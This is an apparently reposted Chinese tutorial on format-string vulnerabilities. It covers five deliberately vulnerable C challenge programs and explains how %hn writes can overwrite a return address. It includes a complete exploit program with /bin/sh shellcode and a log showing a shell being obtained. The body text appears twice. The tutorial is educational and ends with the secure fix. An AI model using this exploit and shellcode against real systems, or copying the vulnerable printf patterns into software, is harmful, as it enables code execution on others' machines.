| 導購 | 订阅 | 在线投稿
分享
 
 
 

非安全編程演示之格式化字符串篇

來源:互聯網  2008-06-01 01:10:14  評論

★★ 二格式化字符串篇

測試環境 redhat 6.2 glibc 2.1.3

★ 2.1 演示一

/* fs1.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* Don't forget,*

* more is less,*

* here's a proof */

int main(int argv,char **argc) {

 short int zero=0;

 int *plen=(int*)malloc(sizeof(int));

 char buf[256];

 strcpy(buf,argc[1]);

 printf("%s%hn\n",buf,plen);

 while(zero);

}

利用方法:

這個程序構造的很巧妙,假如我們需要從這個程序中得到控制的話,

我們需要把strcpy和printf都利用起來。

我們的目標:覆蓋main函數的返回地址,需要使zero爲0,然而,單單strcpy

是不可能實現的,所以我們需要利用後面的

printf("%s%hn\n",buf,plen);

把short int 類型的zero設置爲0。所以我們需要精心構造argc[1].

★ 2.2 演示二

/* fs2.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* Can you tell me what's above the edge? */

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);

 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);

}

假如我們現在來覆蓋main的返回地址:0xbffffb6c,

假使shellcode地址爲:0xbffffc88

開始構造模板

第一次我們構造argc[1]的時候需要使argc[1]長度爲0xbfff-2

那使構造argc[1]內容爲

aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|...

第二次我們構造argc[2]的時候需要使argc[2]長度爲0xfb6c-2

那使構造argc[2]內容爲

aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...

★ 2.3 演示三

/* fs3.c*

* specially crafted to feed your brain by riq@core-sdi.com*/

/* Not enough resources?*/

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);

}

在上例中我們也看到,shellcode和main的返回地址存放的地址後兩個字節是

一樣的,所以也就不需要上面的第一步操作,直接如下構造:

構造argc[1]的時候需要使argc[1]長度爲0xfb6c-2

那使構造argc[1]內容爲

aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...

★ 2.4 演示四

/* fs4.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability?*/

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);

 printf(buf);

}

%6$hn格式化字符串表示%hn對應的格式化參數使用第六個參數

明白這一點,寫出eXPloit應該不是問題。

看了下面一個例子就應該明白%6$是怎麽回事了

[alert7@redhat62 alert7]$ cat test.c

#include <stdio.h>

int main(int argc, char *argv[])

{

 int a=2,b=3;

 printf("%d %d\n",a ,b);

 printf("%2$d %1$d\n",a ,b);

 return 0;

}

[alert7@redhat62 alert7]$ gcc -o test test.c -g

[alert7@redhat62 alert7]$ ./test

2 3

3 2

這樣,我們可以在格式化串中自己指定所用哪個參數,而無需按照參數次序。

★ 2.5 演示五

/* fs5.c*

* specially crafted to feed your brain by gera@core-sdi.com */

/* go, go, go!*/

int main(int argv,char **argc) {

 char buf[256];

 snprintf(buf,sizeof buf,argc[1]);

 /* this line'll make your life easier */

//printf("%s\n",buf);

}

[alert7@redhat]$ gcc -o test test.c -g

給個exploit更感性一點

[alert7@redhat]$ cat exp.c|more

#include <stdlib.h>

#include <unistd.h>

#define DEFAULT_OFFSET0

#define DEFAULT_ALIGNMENT 0

#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8

 //F爲格式化字符串地址

 //X爲垃圾的個數,X*4也就是

 //從esp到F的長度

#define NOP0x90

char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {

char *ptr;

long shell_addr,retloc=DEFAULT_RETLOC;

int i,SH1,SH2;

char buf[512];

char buf1[5000];

int t;

printf("Using RET location address: 0x%x\n", retloc);

shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的參數地址

 //裏面存放著shellcode

printf("Using Shellcode address: 0x%x\n", shell_addr);

SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff

SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))

{

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc+2) & 0xff;

(*ptr++) = ((retloc+2) >> 8) & 0xff ;

(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;

(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc) & 0xff;

(*ptr++) = ((retloc) >> 8) & 0xff ;

(*ptr++) = ((retloc) >> 16 ) & 0xff ;

(*ptr++) = ((retloc) >> 24 ) & 0xff ;

 sprintf(ptr,"%%%UC%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));

 /*推薦構造格式化串的時候使用%hn*/

}

if ((SH1 )>(SH2))

{

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc) & 0xff;

(*ptr++) = ((retloc) >> 8) & 0xff ;

(*ptr++) = ((retloc) >> 16 ) & 0xff ;

(*ptr++) = ((retloc) >> 24 ) & 0xff ;

memset(ptr,'B',4);

ptr += 4 ;

(*ptr++) =(retloc+2) & 0xff;

(*ptr++) = ((retloc+2) >> 8) & 0xff ;

(*ptr++) = ((retloc+2) >> 16 ) & 0xff ;

(*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

 sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));

}

if ((SH1 )==(SH2))

 {

 printf("不能用一個printf實現這種情況\n"),exit(0);

 //其實是可以的,注重這個$這個非凡的printf選項沒有

 //參考前面的演示四 :)

 }

sprintf(buf1,"%s%s",buf,shellcode);

execle("./test","test",buf1, NULL,NULL);

}

[alert7@redhat]$ gcc -o exp exp.c

[alert7@redhat]$ ./exp 50

Using RET location address: 0xbffffd18

Using Shellcode address: 0xbfffff42

bash$ uname -a

Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown

bash$ 成功:)

裏面的一些數據的定位請參考我寫的<<利用格式化串覆蓋printf()系列函數本身的返回地址>>

★★ 小結:

存在格式化字符串的根本原因所在是程序答應用戶提供部分或全部的格式化字符串,

也就是說,在*printf()系列函數中,格式化字符串位置的參數可由用戶提供或者說

是控制。例如:千萬不要因爲懶惰寫成這樣printf(buf),正確的寫法應該是

printf("%s",buf).

★★ 二格式化字符串篇 測試環境 redhat 6.2 glibc 2.1.3 ★ 2.1 演示一 /* fs1.c* * specially crafted to feed your brain by gera@core-sdi.com */ /* Don't forget,* * more is less,* * here's a proof */ int main(int argv,char **argc) {  short int zero=0;  int *plen=(int*)malloc(sizeof(int));  char buf[256];  strcpy(buf,argc[1]);  printf("%s%hn\n",buf,plen);  while(zero); } 利用方法: 這個程序構造的很巧妙,假如我們需要從這個程序中得到控制的話, 我們需要把strcpy和printf都利用起來。 我們的目標:覆蓋main函數的返回地址,需要使zero爲0,然而,單單strcpy 是不可能實現的,所以我們需要利用後面的 printf("%s%hn\n",buf,plen); 把short int 類型的zero設置爲0。所以我們需要精心構造argc[1]. ★ 2.2 演示二 /* fs2.c* * specially crafted to feed your brain by gera@core-sdi.com */ /* Can you tell me what's above the edge? */ int main(int argv,char **argc) {  char buf[256];  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]); } 假如我們現在來覆蓋main的返回地址:0xbffffb6c, 假使shellcode地址爲:0xbffffc88 開始構造模板 第一次我們構造argc[1]的時候需要使argc[1]長度爲0xbfff-2 那使構造argc[1]內容爲 aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|... 第二次我們構造argc[2]的時候需要使argc[2]長度爲0xfb6c-2 那使構造argc[2]內容爲 aaaa | bbbb | \0x88\0xfc\0xff\0xbf|... ★ 2.3 演示三 /* fs3.c* * specially crafted to feed your brain by riq@core-sdi.com*/ /* Not enough resources?*/ int main(int argv,char **argc) {  char buf[256];  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]); } 在上例中我們也看到,shellcode和main的返回地址存放的地址後兩個字節是 一樣的,所以也就不需要上面的第一步操作,直接如下構造: 構造argc[1]的時候需要使argc[1]長度爲0xfb6c-2 那使構造argc[1]內容爲 aaaa | bbbb | \0x88\0xfc\0xff\0xbf|... ★ 2.4 演示四 /* fs4.c* * specially crafted to feed your brain by gera@core-sdi.com */ /* Have you ever heard about code reusability?*/ int main(int argv,char **argc) {  char buf[256];  snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);  printf(buf); } %6$hn格式化字符串表示%hn對應的格式化參數使用第六個參數 明白這一點,寫出eXPloit應該不是問題。 看了下面一個例子就應該明白%6$是怎麽回事了 [alert7@redhat62 alert7]$ cat test.c #include <stdio.h> int main(int argc, char *argv[]) {  int a=2,b=3;  printf("%d %d\n",a ,b);  printf("%2$d %1$d\n",a ,b);  return 0; } [alert7@redhat62 alert7]$ gcc -o test test.c -g [alert7@redhat62 alert7]$ ./test 2 3 3 2 這樣,我們可以在格式化串中自己指定所用哪個參數,而無需按照參數次序。 ★ 2.5 演示五 /* fs5.c* * specially crafted to feed your brain by gera@core-sdi.com */ /* go, go, go!*/ int main(int argv,char **argc) {  char buf[256];  snprintf(buf,sizeof buf,argc[1]);  /* this line'll make your life easier */ //printf("%s\n",buf); } [alert7@redhat]$ gcc -o test test.c -g 給個exploit更感性一點 [alert7@redhat]$ cat exp.c|more #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET0 #define DEFAULT_ALIGNMENT 0 #define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8  //F爲格式化字符串地址  //X爲垃圾的個數,X*4也就是  //從esp到F的長度 #define NOP0x90 char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *ptr; long shell_addr,retloc=DEFAULT_RETLOC; int i,SH1,SH2; char buf[512]; char buf1[5000]; int t; printf("Using RET location address: 0x%x\n", retloc); shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的參數地址  //裏面存放著shellcode printf("Using Shellcode address: 0x%x\n", shell_addr); SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8 ptr = buf; if ((SH1)<(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc) & 0xff; (*ptr++) = ((retloc) >> 8) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ;  sprintf(ptr,"%%%UC%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));  /*推薦構造格式化串的時候使用%hn*/ } if ((SH1 )>(SH2)) { memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc) & 0xff; (*ptr++) = ((retloc) >> 8) & 0xff ; (*ptr++) = ((retloc) >> 16 ) & 0xff ; (*ptr++) = ((retloc) >> 24 ) & 0xff ; memset(ptr,'B',4); ptr += 4 ; (*ptr++) =(retloc+2) & 0xff; (*ptr++) = ((retloc+2) >> 8) & 0xff ; (*ptr++) = ((retloc+2) >> 16 ) & 0xff ; (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 )); } if ((SH1 )==(SH2))  {  printf("不能用一個printf實現這種情況\n"),exit(0);  //其實是可以的,注重這個$這個非凡的printf選項沒有  //參考前面的演示四 :)  } sprintf(buf1,"%s%s",buf,shellcode); execle("./test","test",buf1, NULL,NULL); } [alert7@redhat]$ gcc -o exp exp.c [alert7@redhat]$ ./exp 50 Using RET location address: 0xbffffd18 Using Shellcode address: 0xbfffff42 bash$ uname -a Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown bash$ 成功:) 裏面的一些數據的定位請參考我寫的<<利用格式化串覆蓋printf()系列函數本身的返回地址>> ★★ 小結: 存在格式化字符串的根本原因所在是程序答應用戶提供部分或全部的格式化字符串, 也就是說,在*printf()系列函數中,格式化字符串位置的參數可由用戶提供或者說 是控制。例如:千萬不要因爲懶惰寫成這樣printf(buf),正確的寫法應該是 printf("%s",buf).
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 熱帖排行
 
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有